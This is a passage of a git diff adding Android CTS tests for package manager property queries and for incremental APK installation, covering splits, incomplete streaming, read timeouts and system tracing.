+            assertProperty(testPropertyList, "android.cts.PROPERTY_COMPONENT",
+                    PROPERTY_APP1_PACKAGE_NAME,
+                    "com.android.cts.packagepropertyapp.MyService",
+                    PROPERTY_TYPE_RESOURCE, 0x7f040000);
+            assertProperty(testPropertyList, "android.cts.PROPERTY_COMPONENT",
+                    PROPERTY_APP2_PACKAGE_NAME,
+                    "com.android.cts.packagepropertyapp.MyService",
+                    PROPERTY_TYPE_INTEGER, 123);
+        }
+        {
+            final List<Property> testPropertyList = sPackageManager
+                    .queryServiceProperty("android.cts.PROPERTY_ACTIVITY");
+            assertEquals(0, testPropertyList.size());
+        }
+    }
+
+    @Test
+    public void testPackageRemoval() throws Exception {
+        {
+            final List<Property> testPropertyList = sPackageManager
+                    .queryApplicationProperty("android.cts.PROPERTY_RESOURCE_XML");
+            assertEquals(2, testPropertyList.size());
+            assertProperty(testPropertyList, "android.cts.PROPERTY_RESOURCE_XML",
+                    PROPERTY_APP1_PACKAGE_NAME,
+                    null,
+                    PROPERTY_TYPE_RESOURCE, 0x7f060000);
+            assertProperty(testPropertyList, "android.cts.PROPERTY_RESOURCE_XML",
+                    PROPERTY_APP2_PACKAGE_NAME,
+                    null,
+                    PROPERTY_TYPE_RESOURCE, 0x7f060000);
+        }
+
+        adoptShellPermissions();
+        Uninstall.packages(PROPERTY_APP2_PACKAGE_NAME);
+        dropShellPermissions();
+        {
+            final List<Property> testPropertyList = sPackageManager
+                    .queryApplicationProperty("android.cts.PROPERTY_RESOURCE_XML");
+            assertEquals(1, testPropertyList.size());
+            assertProperty(testPropertyList, "android.cts.PROPERTY_RESOURCE_XML",
+                    PROPERTY_APP1_PACKAGE_NAME,
+                    null,
+                    PROPERTY_TYPE_RESOURCE, 0x7f060000);
+        }
+
+        adoptShellPermissions();
+        Uninstall.packages(PROPERTY_APP1_PACKAGE_NAME);
+        Install.single(PROPERTY_APP2).commit();
+        dropShellPermissions();
+        {
+            final List<Property> testPropertyList = sPackageManager
+                    .queryApplicationProperty("android.cts.PROPERTY_RESOURCE_XML");
+            assertEquals(1, testPropertyList.size());
+            assertProperty(testPropertyList, "android.cts.PROPERTY_RESOURCE_XML",
+                    PROPERTY_APP2_PACKAGE_NAME,
+                    null,
+                    PROPERTY_TYPE_RESOURCE, 0x7f060000);
+        }
+
+        adoptShellPermissions();
+        Uninstall.packages(PROPERTY_APP2_PACKAGE_NAME);
+        dropShellPermissions();
+        {
+            final List<Property> testPropertyList = sPackageManager
+                    .queryApplicationProperty("android.cts.PROPERTY_STRING2");
+            assertEquals(0, testPropertyList.size());
+        }
+    }
+
+    @Test
+    public void testInvalidArguments() throws Exception {
+        try {
+            final List<Property> testPropertyList = sPackageManager.queryApplicationProperty(null);
+            fail("queryApplicationProperty() did not throw NullPointerException");
+        } catch (NullPointerException expected) {
+        }
+        try {
+            final List<Property> testPropertyList = sPackageManager.queryActivityProperty(null);
+            fail("queryActivityProperty() did not throw NullPointerException");
+        } catch (NullPointerException expected) {
+        }
+        try {
+            final List<Property> testPropertyList = sPackageManager.queryProviderProperty(null);
+            fail("queryProviderProperty() did not throw NullPointerException");
+        } catch (NullPointerException expected) {
+        }
+        try {
+            final List<Property> testPropertyList = sPackageManager.queryReceiverProperty(null);
+            fail("queryReceiverProperty() did not throw NullPointerException");
+        } catch (NullPointerException expected) {
+        }
+        try {
+            final List<Property> testPropertyList = sPackageManager.queryServiceProperty(null);
+            fail("queryServiceProperty() did not throw NullPointerException");
+        } catch (NullPointerException expected) {
+        }
+    }
+
+    private static final int PROPERTY_TYPE_BOOLEAN = 1;
+    private static final int PROPERTY_TYPE_FLOAT = 2;
+    private static final int PROPERTY_TYPE_INTEGER = 3;
+    private static final int PROPERTY_TYPE_RESOURCE = 4;
+    private static final int PROPERTY_TYPE_STRING = 5;
+    private void assertProperty(Property testProperty, String propertyName,
+            String packageName, String className, int propertyType, Object propertyValue) {
+        assertNotNull(testProperty);
+        assertEquals(propertyName, testProperty.getName());
+        assertEquals(packageName, testProperty.getPackageName());
+        assertTrue(Objects.equals(className, testProperty.getClassName()));
+        assertEquals(propertyType, testProperty.getType());
+
+        if (propertyType == PROPERTY_TYPE_BOOLEAN) {
+            assertTrue(testProperty.isBoolean());
+            assertFalse(testProperty.isFloat());
+            assertFalse(testProperty.isInteger());
+            assertFalse(testProperty.isResourceId());
+            assertFalse(testProperty.isString());
+
+            // assert the property's type is set correctly
+            final Boolean boolValue = (Boolean) propertyValue;
+            if (boolValue.booleanValue()) {
+                assertTrue(testProperty.getBoolean());
+            } else {
+                assertFalse(testProperty.getBoolean());
+            }
+            // assert the other values have an appropriate default
+            assertEquals(0.0f, testProperty.getFloat(), 0.0f);
+            assertEquals(0, testProperty.getInteger());
+            assertEquals(0, testProperty.getResourceId());
+            assertEquals(null, testProperty.getString());
+        } else if (propertyType == PROPERTY_TYPE_FLOAT) {
+            assertFalse(testProperty.isBoolean());
+            assertTrue(testProperty.isFloat());
+            assertFalse(testProperty.isInteger());
+            assertFalse(testProperty.isResourceId());
+            assertFalse(testProperty.isString());
+
+            // assert the property's type is set correctly
+            final Float floatValue = (Float) propertyValue;
+            assertEquals(floatValue.floatValue(), testProperty.getFloat(), 0.0f);
+            // assert the other values have an appropriate default
+            assertFalse(testProperty.getBoolean());
+            assertEquals(0, testProperty.getInteger());
+            assertEquals(0, testProperty.getResourceId());
+            assertEquals(null, testProperty.getString());
+        } else if (propertyType == PROPERTY_TYPE_INTEGER) {
+            assertFalse(testProperty.isBoolean());
+            assertFalse(testProperty.isFloat());
+            assertTrue(testProperty.isInteger());
+            assertFalse(testProperty.isResourceId());
+            assertFalse(testProperty.isString());
+
+            // assert the property's type is set correctly
+            final Integer integerValue = (Integer) propertyValue;
+            assertEquals(integerValue.intValue(), testProperty.getInteger());
+            // assert the other values have an appropriate default
+            assertFalse(testProperty.getBoolean());
+            assertEquals(0.0f, testProperty.getFloat(), 0.0f);
+            assertEquals(0, testProperty.getResourceId());
+            assertEquals(null, testProperty.getString());
+        } else if (propertyType == PROPERTY_TYPE_RESOURCE) {
+            assertFalse(testProperty.isBoolean());
+            assertFalse(testProperty.isFloat());
+            assertFalse(testProperty.isInteger());
+            assertTrue(testProperty.isResourceId());
+            assertFalse(testProperty.isString());
+
+            // assert the property's type is set correctly
+            final Integer resourceValue = (Integer) propertyValue;
+            assertEquals(resourceValue.intValue(), testProperty.getResourceId());
+            // assert the other values have an appropriate default
+            assertFalse(testProperty.getBoolean());
+            assertEquals(0.0f, testProperty.getFloat(), 0.0f);
+            assertEquals(0, testProperty.getInteger());
+            assertEquals(null, testProperty.getString());
+        } else if (propertyType == PROPERTY_TYPE_STRING) {
+            assertFalse(testProperty.isBoolean());
+            assertFalse(testProperty.isFloat());
+            assertFalse(testProperty.isInteger());
+            assertFalse(testProperty.isResourceId());
+            assertTrue(testProperty.isString());
+
+            // assert the property's type is set correctly
+            final String stringValue = (String) propertyValue;
+            assertEquals(stringValue, testProperty.getString());
+            // assert the other values have an appropriate default
+            assertFalse(testProperty.getBoolean());
+            assertEquals(0.0f, testProperty.getFloat(), 0.0f);
+            assertEquals(0, testProperty.getInteger());
+            assertEquals(0, testProperty.getResourceId());
+        } else {
+            fail("Unknown property type");
+        }
+    }
+
+    private void assertProperty(List<Property> properties, String propertyName,
+            String packageName, String className, int propertyType, Object propertyValue) {
+        int match = 0;
+        for (int i = properties.size() - 1; i >= 0; i--) {
+            final Property property = properties.get(i);
+            try {
+                assertProperty(property, propertyName, packageName, className, propertyType,
+                        propertyValue);
+                match++;
+            } catch (Throwable ignore) {
+            }
+        }
+        assertEquals("Property"
+                + "; name: " + propertyName
+                + ", package: " + packageName
+                + ", class: " + className, 1, match);
+    }
+}
diff --git a/tests/tests/content/src/android/content/pm/cts/PackageManagerShellCommandIncrementalTest.java b/tests/tests/content/src/android/content/pm/cts/PackageManagerShellCommandIncrementalTest.java
index 75f7cc4..85a6184 100644
--- a/tests/tests/content/src/android/content/pm/cts/PackageManagerShellCommandIncrementalTest.java
+++ b/tests/tests/content/src/android/content/pm/cts/PackageManagerShellCommandIncrementalTest.java
@@ -22,12 +22,20 @@
 import static org.junit.Assert.assertTrue;
 
 import android.app.UiAutomation;
+import android.content.ComponentName;
 import android.content.Context;
 import android.content.Intent;
 import android.content.pm.PackageManager;
+import android.net.Uri;
+import android.os.Handler;
+import android.os.HandlerThread;
 import android.os.IBinder;
 import android.os.ParcelFileDescriptor;
+import android.os.RemoteCallback;
+import android.os.SystemClock;
+import android.os.SystemProperties;
 import android.platform.test.annotations.AppModeFull;
+import android.provider.DeviceConfig;
 import android.service.dataloader.DataLoaderService;
 import android.text.TextUtils;
 
@@ -36,8 +44,10 @@
 import androidx.test.runner.AndroidJUnit4;
 
 import org.junit.After;
+import org.junit.Assert;
 import org.junit.Assume;
 import org.junit.Before;
+import org.junit.Ignore;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
@@ -53,29 +63,459 @@
 import java.io.Reader;
 import java.util.Arrays;
 import java.util.Optional;
+import java.util.UUID;
+import java.util.concurrent.Semaphore;
+import java.util.concurrent.TimeUnit;
 import java.util.stream.Collectors;
 import java.util.stream.Stream;
 
 @RunWith(AndroidJUnit4.class)
 @AppModeFull
+@LargeTest
 public class PackageManagerShellCommandIncrementalTest {
+    private static final String CTS_PACKAGE_NAME = "android.content.cts";
     private static final String TEST_APP_PACKAGE = "com.example.helloworld";
 
     private static final String TEST_APK_PATH = "/data/local/tmp/cts/content/";
     private static final String TEST_APK = "HelloWorld5.apk";
-    private static final String TEST_APK_SPLIT = "HelloWorld5_hdpi-v4.apk";
+    private static final String TEST_APK_PROFILEABLE = "HelloWorld5Profileable.apk";
+    private static final String TEST_APK_SHELL = "HelloWorldShell.apk";
+    private static final String TEST_APK_SPLIT0 = "HelloWorld5_mdpi-v4.apk";
+    private static final String TEST_APK_SPLIT1 = "HelloWorld5_hdpi-v4.apk";
+    private static final String TEST_APK_SPLIT2 = "HelloWorld5_xhdpi-v4.apk";
+
+    private static final long EXPECTED_READ_TIME = 1000L;
 
     private static UiAutomation getUiAutomation() {
         return InstrumentationRegistry.getInstrumentation().getUiAutomation();
     }
 
+    private static Context getContext() {
+        return InstrumentationRegistry.getInstrumentation().getContext();
+    }
+
+    @Before
+    public void onBefore() throws Exception {
+        checkIncrementalDeliveryFeature();
+        cleanup();
+    }
+
+    @After
+    public void onAfter() throws Exception {
+        cleanup();
+    }
+
+    private void checkIncrementalDeliveryFeature() throws Exception {
+        Assume.assumeTrue(getContext().getPackageManager().hasSystemFeature(
+                PackageManager.FEATURE_INCREMENTAL_DELIVERY_VERSION));
+    }
+
+    private void checkIncrementalDeliveryV2Feature() throws Exception {
+        checkIncrementalDeliveryFeature();
+        Assume.assumeTrue(getContext().getPackageManager().hasSystemFeature(
+                PackageManager.FEATURE_INCREMENTAL_DELIVERY_VERSION, 2));
+    }
+
+    @Test
+    public void testAndroid12RequiresIncFsV2() throws Exception {
+        final boolean v2Required = (SystemProperties.getInt("ro.product.first_api_level", 0) > 30);
+        if (v2Required) {
+            Assert.assertTrue(getContext().getPackageManager().hasSystemFeature(
+                    PackageManager.FEATURE_INCREMENTAL_DELIVERY_VERSION, 2));
+        }
+    }
+
+    @Test
+    public void testInstallWithIdSig() throws Exception {
+        final Result stateListenerResult = startListeningForBroadcast();
+        installPackage(TEST_APK);
+        assertTrue(stateListenerResult.await());
+        assertTrue(isAppInstalled(TEST_APP_PACKAGE));
+    }
+
+    @Test
+    public void testSplitInstallWithIdSig() throws Exception {
+        // First fully install the apk.
+        {
+            final Result stateListenerResult = startListeningForBroadcast();
+            installPackage(TEST_APK);
+            assertTrue(stateListenerResult.await());
+            assertTrue(isAppInstalled(TEST_APP_PACKAGE));
+        }
+
+        installSplit(TEST_APK_SPLIT0);
+        assertEquals("base, config.mdpi", getSplits(TEST_APP_PACKAGE));
+
+        installSplit(TEST_APK_SPLIT1);
+        assertEquals("base, config.hdpi, config.mdpi", getSplits(TEST_APP_PACKAGE));
+    }
+
+    @Test
+    public void testSystemInstallWithIdSig() throws Exception {
+        final String baseName = TEST_APK_SHELL;
+        final File file = new File(createApkPath(baseName));
+        assertEquals(
+                "Failure [INSTALL_FAILED_SESSION_INVALID: Incremental installation of this "
+                        + "package is not allowed.]\n",
+                executeShellCommand("pm install-incremental -t -g " + file.getPath()));
+    }
+
+    @Test
+    public void testInstallWithIdSigAndSplit() throws Exception {
+        File apkfile = new File(createApkPath(TEST_APK));
+        File splitfile = new File(createApkPath(TEST_APK_SPLIT0));
+        File[] files = new File[]{apkfile, splitfile};
+        String param = Arrays.stream(files).map(
+                file -> file.getName() + ":" + file.length()).collect(Collectors.joining(" "));
+        final Result stateListenerResult = startListeningForBroadcast();
+        assertEquals("Success\n", executeShellCommand(
+                String.format("pm install-incremental -t -g -S %s %s",
+                        (apkfile.length() + splitfile.length()), param),
+                files));
+        assertTrue(stateListenerResult.await());
+        assertTrue(isAppInstalled(TEST_APP_PACKAGE));
+        assertEquals("base, config.mdpi", getSplits(TEST_APP_PACKAGE));
+    }
+
+    @Test
+    public void testInstallWithIdSigInvalidLength() throws Exception {
+        File file = new File(createApkPath(TEST_APK));
+        final Result stateListenerResult = startListeningForBroadcast();
+        assertTrue(
+                executeShellCommand("pm install-incremental -t -g -S " + (file.length() - 1),
+                        new File[]{file}).contains(
+                        "Failure"));
+        assertFalse(stateListenerResult.await());
+        assertFalse(isAppInstalled(TEST_APP_PACKAGE));
+    }
+
+    @LargeTest
+    @Test
+    public void testInstallWithIdSigStreamIncompleteData() throws Exception {
+        File file = new File(createApkPath(TEST_APK));
+        long length = file.length();
+        // Streaming happens in blocks of 1024 bytes, new length will not stream the last block.
+        long newLength = length - (length % 1024 == 0 ? 1024 : length % 1024);
+        final Result stateListenerResult = startListeningForBroadcast();
+        assertTrue(
+                executeShellCommand("pm install-incremental -t -g -S " + length,
+                        new File[]{file}, new long[]{newLength}).contains(
+                        "Failure"));
+        assertFalse(stateListenerResult.await());
+        assertFalse(isAppInstalled(TEST_APP_PACKAGE));
+    }
+
+    @LargeTest
+    @Test
+    public void testInstallWithIdSigPerUidTimeouts() throws Exception {
+        executeShellCommand("atrace --async_start -b 1024 -c adb");
+        try {
+            setDeviceProperty("incfs_default_timeouts", "5000000:5000000:5000000");
+            setDeviceProperty("known_digesters_list", CTS_PACKAGE_NAME);
+
+            final Result stateListenerResult = startListeningForBroadcast();
+            installPackage(TEST_APK);
+            assertTrue(stateListenerResult.await());
+            assertTrue(isAppInstalled(TEST_APP_PACKAGE));
+        } finally {
+            executeShellCommand("atrace --async_stop");
+        }
+    }
+
+    @LargeTest
+    @Test
+    @Ignore("flaky in the lab")
+    public void testInstallWithIdSigStreamPerUidTimeoutsIncompleteData() throws Exception {
+        checkIncrementalDeliveryV2Feature();
+        executeShellCommand("atrace --async_start -b 1024 -c adb");
+        try {
+            setDeviceProperty("incfs_default_timeouts", "5000000:5000000:5000000");
+            setDeviceProperty("known_digesters_list", CTS_PACKAGE_NAME);
+
+            // First fully install the apk and a split0.
+            {
+                final Result stateListenerResult = startListeningForBroadcast();
+                installPackage(TEST_APK);
+                assertTrue(stateListenerResult.await());
+                assertTrue(isAppInstalled(TEST_APP_PACKAGE));
+                installSplit(TEST_APK_SPLIT0);
+                assertEquals("base, config.mdpi", getSplits(TEST_APP_PACKAGE));
+                installSplit(TEST_APK_SPLIT1);
+                assertEquals("base, config.hdpi, config.mdpi", getSplits(TEST_APP_PACKAGE));
+            }
+
+            // Try to read a split and see if we are throttled.
+            final File apkToRead = new File(getCodePath(TEST_APP_PACKAGE), "split_config.mdpi.apk");
+            final long readTime0 = readAndReportTime(apkToRead, 1000);
+
+            // Install another split, interrupt in the middle, and measure read time.
+            File splitfile = new File(createApkPath(TEST_APK_SPLIT2));
+            long splitLength = splitfile.length();
+            // Don't fully stream the split.
+            long newSplitLength =
+                    splitLength - (splitLength % 1024 == 0 ? 1024 : splitLength % 1024);
+            final Result stateListenerResult = startListeningForBroadcast();
+
+            try (InputStream inputStream = executeShellCommandRw(
+                    "pm install-incremental -t -g -p " + TEST_APP_PACKAGE + " -S " + newSplitLength,
+                    new File[]{splitfile}, new long[]{splitLength})) {
+
+                // While 'installing', let's try and read the base apk.
+                final long readTime1 = readAndReportTime(apkToRead, 1000);
+                assertTrue("Must take longer than " + EXPECTED_READ_TIME + "ms: time0=" + readTime0
+                                + "ms, time1=" + readTime1 + "ms",
+                        readTime0 >= EXPECTED_READ_TIME || readTime1 >= EXPECTED_READ_TIME);
+
+                // apk
+                assertTrue(readFullStream(inputStream).contains("Failure"));
+            }
+
+            assertFalse(stateListenerResult.await());
+            assertTrue(isAppInstalled(TEST_APP_PACKAGE));
+            assertEquals("base, config.hdpi, config.mdpi", getSplits(TEST_APP_PACKAGE));
+        } finally {
+            executeShellCommand("atrace --async_stop");
+        }
+    }
+
+    @LargeTest
+    @Test
+    public void testInstallWithIdSigPerUidTimeoutsIgnored() throws Exception {
+        // Timeouts would be ignored as there are no readlogs collected.
+        final int beforeReadDelayMs = 5000;
+        setDeviceProperty("incfs_default_timeouts", "5000000:5000000:5000000");
+        setDeviceProperty("known_digesters_list", CTS_PACKAGE_NAME);
+
+        // First fully install the apk and a split0.
+        {
+            final Result stateListenerResult = startListeningForBroadcast();
+            installPackage(TEST_APK);
+            assertTrue(stateListenerResult.await());
+            assertTrue(isAppInstalled(TEST_APP_PACKAGE));
+            installSplit(TEST_APK_SPLIT0);
+            assertEquals("base, config.mdpi", getSplits(TEST_APP_PACKAGE));
+            installSplit(TEST_APK_SPLIT1);
+            assertEquals("base, config.hdpi, config.mdpi", getSplits(TEST_APP_PACKAGE));
+        }
+
+        // Allow IncrementalService to update the timeouts after full download.
+        Thread.currentThread().sleep(beforeReadDelayMs);
+
+        // Try to read a split and see if we are throttled.
+        final File apkToRead = new File(getCodePath(TEST_APP_PACKAGE), "split_config.mdpi.apk");
+        final long readTime = readAndReportTime(apkToRead, 1000);
+        assertTrue("Must take less than " + EXPECTED_READ_TIME + "ms vs " + readTime + "ms",
+                readTime < EXPECTED_READ_TIME);
+    }
+
+    @Test
+    public void testInstallWithIdSigStreamIncompleteDataForSplit() throws Exception {
+        File apkfile = new File(createApkPath(TEST_APK));
+        File splitfile = new File(createApkPath(TEST_APK_SPLIT0));
+        long splitLength = splitfile.length();
+        // Don't fully stream the split.
+        long newSplitLength = splitLength - (splitLength % 1024 == 0 ? 1024 : splitLength % 1024);
+        File[] files = new File[]{apkfile, splitfile};
+        String param = Arrays.stream(files).map(
+                file -> file.getName() + ":" + file.length()).collect(Collectors.joining(" "));
+        final Result stateListenerResult = startListeningForBroadcast();
+        assertTrue(executeShellCommand(
+                String.format("pm install-incremental -t -g -S %s %s",
+                        (apkfile.length() + splitfile.length()), param),
+                files, new long[]{apkfile.length(), newSplitLength}).contains(
+                "Failure"));
+        assertFalse(stateListenerResult.await());
+        assertFalse(isAppInstalled(TEST_APP_PACKAGE));
+    }
+
+    static class TestDataLoaderService extends DataLoaderService {
+    }
+
+    @Test
+    public void testDataLoaderServiceDefaultImplementation() {
+        DataLoaderService service = new TestDataLoaderService();
+        assertEquals(null, service.onCreateDataLoader(null));
+        IBinder binder = service.onBind(null);
+        assertNotEquals(null, binder);
+        assertEquals(binder, service.onBind(new Intent()));
+    }
+
+    @LargeTest
+    @Test
+    public void testInstallSysTraceDebuggable() throws Exception {
+        doTestInstallSysTrace(TEST_APK);
+    }
+
+    @LargeTest
+    @Test
+    public void testInstallSysTraceProfileable() throws Exception {
+        doTestInstallSysTrace(TEST_APK_PROFILEABLE);
+    }
+
+    private void doTestInstallSysTrace(String testApk) throws Exception {
+        // Async atrace dump uses less resources but requires periodic pulls.
+        // Overall timeout of 30secs in 100ms intervals should be enough.
+        final int atraceDumpIterations = 300;
+        final int atraceDumpDelayMs = 100;
+
+        final String expected = "|page_read:";
+        final ByteArrayOutputStream result = new ByteArrayOutputStream();
+        final Thread readFromProcess = new Thread(() -> {
+            try {
+                executeShellCommand("atrace --async_start -b 1024 -c adb");
+                try {
+                    for (int i = 0; i < atraceDumpIterations; ++i) {
+                        final ParcelFileDescriptor stdout = getUiAutomation().executeShellCommand(
+                                "atrace --async_dump");
+                        try (InputStream inputStream =
+                                     new ParcelFileDescriptor.AutoCloseInputStream(
+                                             stdout)) {
+                            final String found = waitForSubstring(inputStream, expected);
+                            if (!TextUtils.isEmpty(found)) {
+                                result.write(found.getBytes());
+                                return;
+                            }
+                            Thread.currentThread().sleep(atraceDumpDelayMs);
+                        } catch (InterruptedException ignored) {
+                        }
+                    }
+                } finally {
+                    executeShellCommand("atrace --async_stop");
+                }
+            } catch (IOException ignored) {
+            }
+        });
+        readFromProcess.start();
+
+        for (int i = 0; i < 3; ++i) {
+            installPackage(testApk);
+            assertTrue(isAppInstalled(TEST_APP_PACKAGE));
+            uninstallPackageSilently(TEST_APP_PACKAGE);
+        }
+
+        readFromProcess.join();
+        assertNotEquals(0, result.size());
+    }
+
+    private boolean isAppInstalled(String packageName) throws IOException {
+        final String commandResult = executeShellCommand("pm list packages");
+        final int prefixLength = "package:".length();
+        return Arrays.stream(commandResult.split("\\r?\\n"))
+                .anyMatch(line -> line.substring(prefixLength).equals(packageName));
+    }
+
+    private String getSplits(String packageName) throws IOException {
+        final String result = parsePackageDump(packageName, "    splits=[");
+        if (TextUtils.isEmpty(result)) {
+            return null;
+        }
+        return result.substring(0, result.length() - 1);
+    }
+
+    private String getCodePath(String packageName) throws IOException {
+        return parsePackageDump(packageName, "    codePath=");
+    }
+
+    private String parsePackageDump(String packageName, String prefix) throws IOException {
+        final String commandResult = executeShellCommand("pm dump " + packageName);
+        final int prefixLength = prefix.length();
+        Optional<String> maybeSplits = Arrays.stream(commandResult.split("\\r?\\n"))
+                .filter(line -> line.startsWith(prefix)).findFirst();
+        if (!maybeSplits.isPresent()) {
+            return null;
+        }
+        String splits = maybeSplits.get();
+        return splits.substring(prefixLength);
+    }
+
+    private static String createApkPath(String baseName) {
+        return TEST_APK_PATH + baseName;
+    }
+
+    private void installPackage(String baseName) throws IOException {
+        File file = new File(createApkPath(baseName));
+        assertEquals("Success\n",
+                executeShellCommand("pm install-incremental -t -g " + file.getPath()));
+    }
+
+    private void installSplit(String splitName) throws Exception {
+        final File splitfile = new File(createApkPath(splitName));
+        final Result stateListenerResult = startListeningForBroadcast();
+
+        try (InputStream inputStream = executeShellCommandStream(
+                "pm install-incremental -t -g -p " + TEST_APP_PACKAGE + " "
+                        + splitfile.getPath())) {
+            assertEquals("Success\n", readFullStream(inputStream));
+        }
+        assertTrue(stateListenerResult.await());
+    }
+
+    private long readAndReportTime(File file, long borderTime) throws Exception {
+        assertTrue(file.toString(), file.exists());
+
+        final long startTime = SystemClock.uptimeMillis();
+        long readTime = 0;
+        try (InputStream baseApkStream = new FileInputStream(file)) {
+            final byte[] buffer = new byte[4096];
+            int length;
+            while ((length = baseApkStream.read(buffer)) != -1) {
+                readTime = SystemClock.uptimeMillis() - startTime;
+                if (readTime >= borderTime) {
+                    break;
+                }
+            }
+        }
+        return readTime;
+    }
+
+    private String uninstallPackageSilently(String packageName) throws IOException {
+        return executeShellCommand("pm uninstall " + packageName);
+    }
+
+    interface Result {
+        boolean await() throws Exception;
+    }
+
+    private Result startListeningForBroadcast() {
+        final Intent intent = new Intent()
+                .setComponent(new ComponentName("android.content.pm.cts.app", "android.content"
+                        + ".pm.cts.app.MainActivity"))
+                // data uri unique to each activity start to ensure actual launch and not just
+                // redisplay
+                .setData(Uri.parse("test://" + UUID.randomUUID().toString()))
+                .addFlags(Intent.FLAG_ACTIVITY_NEW_TASK | Intent.FLAG_ACTIVITY_NEW_DOCUMENT);
+        intent.putExtra(Intent.EXTRA_PACKAGE_NAME, TEST_APP_PACKAGE);
+        HandlerThread responseThread = new HandlerThread("response");
+        responseThread.start();
+        // Should receive at least one fully_loaded broadcast
+        final Semaphore fullyLoadedSemaphore = new Semaphore(0);
+        final RemoteCallback callback = new RemoteCallback(
+                bundle -> {
+                    if (bundle == null) {
+                        return;
+                    }
+                    if (bundle.getString("intent").equals(Intent.ACTION_PACKAGE_FULLY_LOADED)) {
+                        fullyLoadedSemaphore.release();
+                    }
+                },
+                new Handler(responseThread.getLooper())
+        );
+        intent.putExtra("callback", callback);
+        InstrumentationRegistry.getInstrumentation().getContext().startActivity(intent);
+        return () -> fullyLoadedSemaphore.tryAcquire(10, TimeUnit.SECONDS);
+    }
+
     private static String executeShellCommand(String command) throws IOException {
-        final ParcelFileDescriptor stdout = getUiAutomation().executeShellCommand(command);
-        try (InputStream inputStream = new ParcelFileDescriptor.AutoCloseInputStream(stdout)) {
+        try (InputStream inputStream = executeShellCommandStream(command)) {
             return readFullStream(inputStream);
         }
     }
 
+    private static InputStream executeShellCommandStream(String command) throws IOException {
+        final ParcelFileDescriptor stdout = getUiAutomation().executeShellCommand(command);
+        return new ParcelFileDescriptor.AutoCloseInputStream(stdout);
+    }
+
     private static String executeShellCommand(String command, File[] inputs)
             throws IOException {
         return executeShellCommand(command, inputs, Stream.of(inputs).mapToLong(
@@ -84,6 +524,13 @@
 
     private static String executeShellCommand(String command, File[] inputs, long[] expected)
             throws IOException {
+        try (InputStream inputStream = executeShellCommandRw(command, inputs, expected)) {
+            return readFullStream(inputStream);
+        }
+    }
+
+    private static InputStream executeShellCommandRw(String command, File[] inputs, long[] expected)
+            throws IOException {
         assertEquals(inputs.length, expected.length);
         final ParcelFileDescriptor[] pfds =
                 InstrumentationRegistry.getInstrumentation().getUiAutomation()
@@ -98,9 +545,7 @@
                 }
             }
         }
-        try (InputStream inputStream = new ParcelFileDescriptor.AutoCloseInputStream(stdout)) {
-            return readFullStream(inputStream);
-        }
+        return new ParcelFileDescriptor.AutoCloseInputStream(stdout);
     }
 
     private static String readFullStream(InputStream inputStream, long expected)
@@ -117,7 +562,7 @@
     private static void writeFullStream(InputStream inputStream, OutputStream outputStream,
             long expected)
             throws IOException {
-        byte[] buffer = new byte[1024];
+        final byte[] buffer = new byte[1024];
         long total = 0;
         int length;
         while ((length = inputStream.read(buffer)) != -1 && (expected < 0 || total < expected)) {
@@ -137,179 +582,23 @@
         }
     }
 
-    @Before
-    public void onBefore() throws Exception {
-        checkIncrementalDeliveryFeature();
-        uninstallPackageSilently(TEST_APP_PACKAGE);
-        assertFalse(isAppInstalled(TEST_APP_PACKAGE));
-    }
-
-    @After
-    public void onAfter() throws Exception {
+    private void cleanup() throws Exception {
         uninstallPackageSilently(TEST_APP_PACKAGE);
         assertFalse(isAppInstalled(TEST_APP_PACKAGE));
         assertEquals(null, getSplits(TEST_APP_PACKAGE));
+        setDeviceProperty("incfs_default_timeouts", null);
+        setDeviceProperty("known_digesters_list", null);
     }
 
-    private void checkIncrementalDeliveryFeature() throws Exception {
-        final Context context = InstrumentationRegistry.getInstrumentation().getContext();
-        Assume.assumeTrue(context.getPackageManager().hasSystemFeature(
-                PackageManager.FEATURE_INCREMENTAL_DELIVERY));
-    }
-
-    @Test
-    public void testInstallWithIdSig() throws Exception {
-        installPackage(TEST_APK);
-        assertTrue(isAppInstalled(TEST_APP_PACKAGE));
-    }
-
-    @Test
-    public void testInstallWithIdSigAndSplit() throws Exception {
-        File apkfile = new File(createApkPath(TEST_APK));
-        File splitfile = new File(createApkPath(TEST_APK_SPLIT));
-        File[] files = new File[]{apkfile, splitfile};
-        String param = Arrays.stream(files).map(
-                file -> file.getName() + ":" + file.length()).collect(Collectors.joining(" "));
-        assertEquals("Success\n", executeShellCommand(
-                String.format("pm install-incremental -t -g -S %s %s",
-                        (apkfile.length() + splitfile.length()), param),
-                files));
-        assertTrue(isAppInstalled(TEST_APP_PACKAGE));
-        assertEquals("base, config.hdpi", getSplits(TEST_APP_PACKAGE));
-    }
-
-    @Test
-    public void testInstallWithIdSigInvalidLength() throws Exception {
-        File file = new File(createApkPath(TEST_APK));
-        assertTrue(
-                executeShellCommand("pm install-incremental -t -g -S " + (file.length() - 1),
-                        new File[]{file}).contains(
-                        "Failure"));
-        assertFalse(isAppInstalled(TEST_APP_PACKAGE));
-    }
-
-    @Test
-    public void testInstallWithIdSigStreamIncompleteData() throws Exception {
-        File file = new File(createApkPath(TEST_APK));
-        long length = file.length();
-        // Streaming happens in blocks of 1024 bytes, new length will not stream the last block.
-        long newLength = length - (length % 1024 == 0 ? 1024 : length % 1024);
-        assertTrue(
-                executeShellCommand("pm install-incremental -t -g -S " + length,
-                        new File[]{file}, new long[]{newLength}).contains(
-                        "Failure"));
-        assertFalse(isAppInstalled(TEST_APP_PACKAGE));
-    }
-
-    @Test
-    public void testInstallWithIdSigStreamIncompleteDataForSplit() throws Exception {
-        File apkfile = new File(createApkPath(TEST_APK));
-        File splitfile = new File(createApkPath(TEST_APK_SPLIT));
-        long splitLength = splitfile.length();
-        // Don't fully stream the split.
-        long newSplitLength = splitLength - (splitLength % 1024 == 0 ? 1024 : splitLength % 1024);
-        File[] files = new File[]{apkfile, splitfile};
-        String param = Arrays.stream(files).map(
-                file -> file.getName() + ":" + file.length()).collect(Collectors.joining(" "));
-        assertTrue(executeShellCommand(
-                String.format("pm install-incremental -t -g -S %s %s",
-                        (apkfile.length() + splitfile.length()), param),
-                files, new long[]{apkfile.length(), newSplitLength}).contains(
-                "Failure"));
-        assertFalse(isAppInstalled(TEST_APP_PACKAGE));
-    }
-
-    static class TestDataLoaderService extends DataLoaderService {
-    }
-
-    @Test
-    public void testDataLoaderServiceDefaultImplementation() {
-        DataLoaderService service = new TestDataLoaderService();
-        assertEquals(null, service.onCreateDataLoader(null));
-        IBinder binder = service.onBind(null);
-        assertNotEquals(null, binder);
-        assertEquals(binder, service.onBind(new Intent()));
-    }
-
